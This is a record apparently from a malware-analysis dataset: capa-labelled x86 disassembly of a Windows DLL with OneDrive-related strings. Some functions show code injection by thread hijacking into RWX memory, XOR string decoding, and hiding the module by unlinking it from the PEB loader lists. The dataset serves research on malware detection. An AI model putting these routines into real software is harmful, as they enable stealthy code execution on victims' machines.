joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001f250
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov esi, edx
mov edi, ecx
push 1
push esi
mov ecx, 0x2a
call fcn.10020680
push eax
push 0
push 0x10157d28
call fcn.10015fb0
mov ecx, dword [0x10161bac]
add esp, 0x18
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
test ecx, ecx
je 0x1001f2b2
push 0
push 0
push 0x10
push ecx
call ebx
push dword [0x10163868]
mov dword [0x10161bac], 0
push dword [0x10161bc4]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x10161cd4]
test eax, eax
je 0x1001f2e0
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10163868]
mov dword [0x10161cd4], 0
push dword [0x10161cec]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x10161dfc]
test eax, eax
je 0x1001f30e
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10163868]
mov dword [0x10161dfc], 0
push dword [0x10161e14]
call dword [sym.imp.USER32.dll_UnregisterClassA]
sub esi, 0
je 0x1001f33b
sub esi, 1
je 0x1001f32f
sub esi, 1
jne 0x1001f327
lea eax, [esi + 0x6a]
mov ecx, 0x2b2bb9
jmp 0x1001f345
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
jmp 0x1001f345
mov eax, 0x69
mov ecx, 0x116896
jmp 0x1001f345
mov eax, 0x67
mov ecx, 0x9ca476
push ecx
push dword [ebp + 0xc]
mov ecx, edi
sub esp, 0xc
push eax
call fcn.1001dc10
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push ecx
push edi
push 0x1001f1c0
mov dword [edi + 8], eax
call fcn.100208a0
push 0xffffffffffffffff
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [edi + 4]
test eax, eax
je 0x1001f3b8
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10163868]
mov dword [edi + 4], 0
push dword [edi + 0x1c]
call dword [sym.imp.USER32.dll_UnregisterClassA]
xorps xmm0, xmm0
push 0
movups xmmword [0x10163b88], xmm0
movups xmmword [0x10163b98], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
Function at 0x10020680
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10564600
mov esi, ecx
call fcn.10029bf0
movaps xmm1, xmmword [str.eeeeeeeeeeeeeeeewwwwwwwwwwwwwwww]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x1004bb10]
pop esi
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10564600], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10564610], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x100206b1
mov eax, 0x10564600
ret

Function at 0x100208a0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x10051680]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x100208d0
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f699b27
lea ecx, [ebp - 0x24]
call fcn.100213f0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f8]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100266c8
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100209c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10163868]
push ebx
push esi
push edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x10020a12
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020a16
cmp edx, esi
jne 0x100209fb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10020a36
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020a3a
cmp edx, esi
jne 0x10020a1f
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10020a5a
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020a5e
cmp edx, esi
jne 0x10020a43
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10021ac0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10157d0c]
sub esp, 8
push esi
mov esi, dword [0x10157d08]
cmp esi, eax
je 0x10021ba5
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
cmp byte [esi], 2
jne 0x10021b09
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push connect
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x10021b1a
mov eax, dword [0x10157d0c]
add esi, 0x105
cmp esi, eax
jne 0x10021ae2
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x10157d0c]
xor ecx, ecx
mov esi, dword [0x10157d08]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10021b8d
xor edi, edi
cmp byte [edi + esi], 2
jne 0x10021b67
lea eax, [esi + 1]
add eax, edi
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x10157d0c]
mov esi, dword [0x10157d08]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x10021b44
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10004e30
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1003322e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100330ad
Function at 0x1000d676
Capabilities:
Get disk information

Disassembly:
push 0x9c
mov eax, 0x1006073e
call fcn.1002a93f
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x60], esi
mov ebx, eax
mov dword [ebp - 0x14], eax
mov edx, esi
mov dword [ebp - 0x5c], ebx
call fcn.1001c5ae
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
cmovae eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, esi
mov edx, eax
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x14]
jne 0x1000d6bd
sub ecx, edi
sar ecx, 1
push 3
pop edi
cmp ecx, 4
jb 0x1000d77b
cmp edx, 4
je 0x1000d77b
cmp edx, 5
je 0x1000d77b
test byte [ebp + 0xc], 2
je 0x1000d77b
test dword [ebp + 0xc], 0x20000000
jne 0x1000d77b
push esi
lea ecx, [ebp - 0x90]
call fcn.10007d5d
xor ebx, ebx
mov byte [ebp - 4], 1
inc ebx
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x5c], ebx
call fcn.1001c370
test al, al
jne 0x1000d77b
push esi
lea ecx, [ebp - 0x78]
call fcn.10007d5d
mov dword [ebp - 4], 2
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x5c], edi
call fcn.1001c622
mov dword [ebp - 4], edi
cmp dword [eax + 0x14], 8
mov dword [ebp - 0x5c], 7
jb 0x1000d753
mov eax, dword [eax]
push ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.1001be4a
push 0xf
pop ebx
push 0x10079f20
mov ecx, eax
call fcn.10009369
test al, al
jne 0x1000d77b
xor eax, eax
mov byte [ebp - 0x55], al
jmp 0x1000d77f
mov byte [ebp - 0x55], 1
test bl, 8
je 0x1000d792
lea ecx, [ebp - 0xa8]
and ebx, 0xfffffff7
call fcn.10007a50
test bl, 4
je 0x1000d7a2
lea ecx, [ebp - 0x48]
and ebx, 0xfffffffb
call fcn.10007a50
test bl, 2
je 0x1000d7b2
lea ecx, [ebp - 0x78]
and ebx, 0xfffffffd
call fcn.10007a50
xor eax, eax
mov dword [ebp - 4], eax
test bl, 1
je 0x1000d7c7
lea ecx, [ebp - 0x90]
call fcn.10007a50
mov bl, byte [ebp - 0x55]
test bl, bl
jne 0x1000d849
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
xorps xmm0, xmm0
lea ecx, [ebp - 0x18]
movlpd qword [ebp - 0x18], xmm0
call fcn.1000a8ce
mov byte [ebp - 4], 4
xor ebx, ebx
mov edi, dword [ebp - 0x18]
mov eax, dword [edi]
mov esi, dword [eax + 0x168]
lea eax, [ebp - 0x54]
push eax
push ebx
push dword [ebp - 0x60]
mov ecx, esi
call dword [0x1006669c]
mov ecx, edi
call esi
test eax, eax
je 0x1000d836
mov eax, dword [ebp - 0x38]
xor ecx, ecx
or ecx, dword [ebp - 0x34]
or eax, ebx
cmp eax, 3
ja 0x1000d836
jb 0x1000d82a
cmp ecx, 0xc0000000
ja 0x1000d836
test dword [ebp - 0x54], 0x417
mov byte [ebp - 0x55], bl
je 0x1000d83a
mov byte [ebp - 0x55], 1
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000d846
call fcn.10008de5
mov bl, byte [ebp - 0x55]
lea ecx, [ebp - 0x30]
call fcn.10007a50
mov al, bl
call fcn.1002a8fa
ret 8
Function at 0x10010572
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008f018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0xc], ecx
xor ecx, ecx
push esi
mov esi, dword [eax]
mov eax, 0x200
cmp esi, 1
mov dword [ebp - 8], 0x100
push edi
mov edi, dword [ebp + 8]
cmove ecx, eax
xor eax, eax
cmp esi, 2
cmove eax, dword [ebp - 8]
or ecx, eax
or ecx, 0x20006
cmp dword [edx + 0x14], 8
jb 0x100105c0
mov edx, dword [edx]
xor esi, esi
lea eax, [ebp - 8]
push esi
push eax
push esi
push ecx
push esi
push esi
push esi
push edx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x10010609
cmp dword [edi + 0x10], eax
jne 0x100105e5
xor edi, edi
jmp 0x100105ed
cmp dword [edi + 0x14], 8
jb 0x100105ed
mov edi, dword [edi]
push 4
push ebx
push 4
push 0
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
movzx eax, si
or eax, 0x80070000
test esi, esi
pop edi
cmovle eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10029be7
leave
ret 0xc

Function at 0x10010819
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x1008f018]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [edx + 0x14], 8
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
jb 0x10010839
mov edx, dword [edx]
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push 0x20006
push ecx
push ecx
push ecx
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test edi, edi
jne 0x10010888
cmp dword [esi + 0x10], eax
jne 0x10010864
xor esi, esi
jmp 0x1001086c
cmp dword [esi + 0x14], 8
jb 0x1001086c
mov esi, dword [esi]
push 8
push ebx
push 0xb
push 0
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
movzx eax, di
or eax, 0x80070000
test edi, edi
cmovle eax, edi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10029be7
leave
ret 0xc

Function at 0x10010c39
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [eax*2 + 2]
jb 0x10010c4e
mov edx, dword [edx]
cmp dword [ecx + 0x14], 8
jb 0x10010c56
mov ecx, dword [ecx]
push eax
push edx
push 2
push ecx
push str.Environment
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
movzx ecx, ax
mov edx, 0x80070000
or ecx, edx
test eax, eax
cmovle ecx, eax
test ecx, ecx
cmovle edx, ecx
shr edx, 0x1f
xor dl, 1
mov al, dl
pop ebp
ret 4
Function at 0x10010d06
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x228
mov eax, 0x10060deb
call fcn.1002a93f
mov esi, edx
mov edi, ecx
mov eax, dword [ebp + 0xc]
mov ecx, eax
mov dword [ebp - 0x234], eax
call fcn.10012577
xor edx, edx
mov eax, 0x200
cmp dword [ebp + 8], 1
mov ecx, 0x100
cmove edx, eax
xor eax, eax
cmp dword [ebp + 8], 2
cmove eax, ecx
and dword [ebp - 0x230], 0
or edx, eax
or edx, 0x20019
cmp dword [esi + 0x14], 8
jb 0x10010d5c
mov esi, dword [esi]
lea eax, [ebp - 0x230]
push eax
push edx
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x10010e35
xor ebx, ebx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], 0xff
push eax
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 0x230]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov edi, eax
test edi, edi
jne 0x10010e08
and dword [ebp - 0x21c], eax
lea ecx, [ebp - 0x22c]
mov word [ebp - 0x22c], ax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x218], 7
call fcn.10007d34
mov ecx, dword [ebp - 0x234]
lea eax, [ebp - 0x22c]
and dword [ebp - 4], edi
push eax
call fcn.1000e9e6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x22c]
call fcn.10007a50
jmp 0x10010e10
cmp edi, 0x103
jne 0x10010e1b
inc ebx
test edi, edi
je 0x10010d86
jmp 0x10010e29
movzx esi, di
or esi, 0x80070000
test edi, edi
cmovle esi, edi
push dword [ebp - 0x230]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
call fcn.1002a8fa
ret 8

Function at 0x10010e3f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x228
mov eax, 0x10060deb
call fcn.1002a93f
mov esi, edx
mov eax, dword [ebp + 0xc]
mov ecx, eax
mov dword [ebp - 0x234], eax
call fcn.10012577
xor edi, edi
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x230], edi
jb 0x10010e70
mov esi, dword [esi]
lea eax, [ebp - 0x230]
push eax
push 0x20019
push edi
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x10010f4f
mov ebx, edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], 0xff
push eax
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 0x230]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edi, eax
test edi, edi
jne 0x10010f1f
and dword [ebp - 0x21c], eax
lea ecx, [ebp - 0x22c]
mov word [ebp - 0x22c], ax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x218], 7
call fcn.10007d34
mov ecx, dword [ebp - 0x234]
lea eax, [ebp - 0x22c]
and dword [ebp - 4], edi
push eax
call fcn.1000e9e6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x22c]
call fcn.10007a50
jmp 0x10010f27
cmp edi, 0x103
jne 0x10010f35
inc ebx
test edi, edi
push 0
pop edi
je 0x10010ea1
jmp 0x10010f43
movzx esi, di
or esi, 0x80070000
test edi, edi
cmovle esi, edi
push dword [ebp - 0x230]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
call fcn.1002a8fa
ret 8
Function at 0x10011216
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
cmp dword [ecx + 0x14], 8
push esi
push edi
mov esi, ecx
jb 0x10011222
mov esi, dword [ecx]
mov edi, dword [ecx + 0x10]
mov ecx, 0x811c9dc5
push 0
pop edx
add edi, edi
je 0x10011242
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, edi
jb 0x10011231
pop edi
mov eax, ecx
pop esi
ret

Function at 0x10019472
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1008f018]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1008fa68], 8
lea ecx, [ebp - 0x10]
push esi
mov eax, 0x1008fa54
cmovae eax, dword [0x1008fa54]
xor esi, esi
push esi
push ecx
push esi
push 0x20006
push esi
push esi
push esi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
js 0x100194f1
push esi
call fcn.100480e3
pop ecx
push 8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0xb
push esi
push str.LastUpdate
push dword [ebp - 0x10]
mov dword [ebp - 8], edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10029be7
leave
ret

Function at 0x10019502
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1008f018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 8
pop esi
cmp dword [0x1008fa68], esi
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
mov eax, 0x1008fa54
xorps xmm0, xmm0
cmovae eax, dword [0x1008fa54]
push 0
push eax
push SysReAllocString
movlpd qword [ebp - 0xc], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x10], esi
mov esi, 0x80070000
movzx ecx, ax
or ecx, esi
test eax, eax
cmovle ecx, eax
test ecx, ecx
js 0x1001959e
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push str.LastUpdate
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx ecx, ax
or ecx, esi
test eax, eax
cmovle ecx, eax
test ecx, ecx
js 0x1001958d
cmp dword [ebp - 0x14], 0xb
je 0x10019595
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
xor ecx, ebp
mov edx, dword [ebp - 8]
pop esi
call fcn.10029be7
leave
ret

Function at 0x1001e212
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetFileAttributesW]

Function at 0x1001e352
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.KERNEL32.dll_CreateProcessW]
Function at 0x1001e522
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push dword [eax + 0x28]
push dword [eax + 0x24]
push dword [eax + 0x20]
push dword [eax + 0x1c]
push dword [eax + 0x18]
push dword [eax + 0x14]
push dword [eax + 0x10]
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
pop ebp
ret 4

Function at 0x1001e6c2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x1001e7e2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
pop ebp
ret 0x28

Function at 0x1001ea42
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.WININET.dll_InternetCheckConnectionW]

Function at 0x100210d1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x1008f018]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, byte [ebp + 0xc]
and dword [ebp - 0x208], 0
xor eax, 1
push ebx
mov ebx, dword [ebp + 0x10]
shl eax, 8
push esi
add eax, 0x20119
mov dword [ebp - 0x20c], 0x200
cmp dword [edx + 0x14], 8
push edi
mov edi, dword [ebp + 8]
jb 0x10021115
mov edx, dword [edx]
lea esi, [ebp - 0x210]
push esi
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x100211b1
cmp dword [edi + 0x14], 8
jb 0x10021141
mov edi, dword [edi]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x208]
push eax
push 0
push edi
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x210]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
js 0x100211b1
mov eax, dword [ebp - 0x208]
sub eax, 1
je 0x100211a2
sub eax, 3
je 0x1002119a
mov esi, 0x8007065d
jmp 0x100211b1
mov eax, dword [ebp - 0x204]
jmp 0x100211af
lea eax, [ebp - 0x204]
push eax
call fcn.10049714
pop ecx
mov dword [ebx], eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10029be7
leave
ret 0xc
Function at 0x10024cfd
Capabilities:
Accept command line arguments

Disassembly:
push 0x230
mov eax, 0x10063a7d
call fcn.1002a93f
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x238], esi
mov dword [ebp - 0x23c], esi
xor ecx, ecx
mov dword [ebp - 0x234], ecx
xor eax, eax
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 7
mov word [esi], ax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x234], 1
call fcn.100112cf
mov bl, al
test bl, bl
jne 0x10024dc5
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.10042070
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x10024dc5
lea eax, [ebp - 0x218]
push 0x1007d92c
push eax
call fcn.1004186b
pop ecx
pop ecx
test eax, eax
je 0x10024dc5
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x230]
call fcn.10007d5d
push 0
push str._allusers
lea ecx, [ebp - 0x230]
call fcn.10012679
cmp eax, 0xffffffff
lea ecx, [ebp - 0x230]
setne bl
call fcn.10007a50
mov edx, esi
mov cl, bl
call 0x100103bf
test eax, eax
js 0x10024dde
push str.OneDrive.exe
mov ecx, esi
call fcn.100079a0
push 0x1007a464
mov ecx, esi
call fcn.100079a0
mov dl, 1
mov ecx, edi
call fcn.10024cc4
mov edx, eax
lea ecx, [ebp - 0x230]
call fcn.10015eed
push eax
mov ecx, esi
mov dword [ebp - 4], 1
call fcn.10007163
lea ecx, [ebp - 0x230]
call fcn.10007a50
mov eax, esi
call fcn.1002a8fa
ret 4

Function at 0x10026c9c
Capabilities:
Get common file path

Disassembly:
push 0x2bc
mov eax, 0x10063ddb
call fcn.1002a93f
mov edi, ecx
push str.Expected_non_NULL_sync_engine_log_location
push str._pSyncEngineLogPath___NULL_
push str.WatsonReport::GetSyncEngineLogLocation
test edi, edi
push 0xfa
setne al
movzx eax, al
push str.d:dbs_shodct0217_154505_1cmd6clientonedriveProductUXSharedWatsonReport.cpp
push eax
call fcn.10025c63
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x218]
push ebx
push eax
mov esi, 0x80004005
call fcn.10042070
add esp, 0x24
lea eax, [ebp - 0x218]
push ebx
push 0x1c
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
cmp eax, 1
jne 0x10026db6
push 0x98
lea eax, [ebp - 0x2b0]
push ebx
push eax
call fcn.10042070
pop ecx
lea ecx, [ebp - 0x2b0]
call fcn.1001197e
lea edx, [ebp - 0x218]
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x2b0]
call fcn.100141a0
mov ecx, eax
call fcn.10013f60
cmp dword [0x100902b4], 8
mov edx, 0x100902a0
mov ecx, eax
cmovae edx, dword [0x100902a0]
call fcn.100141a0
mov ecx, eax
call fcn.10013f60
cmp dword [0x1009020c], 8
mov edx, 0x100901f8
mov ecx, eax
cmovae edx, dword [0x100901f8]
call fcn.100141a0
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.100130bf
lea eax, [ebp - 0x2c8]
mov ecx, edi
push eax
call fcn.10007a2c
lea ecx, [ebp - 0x2c8]
call fcn.10007a50
lea ecx, [ebp - 0x2b0]
mov esi, ebx
call fcn.1001113a
mov eax, esi
call fcn.1002a8fa
ret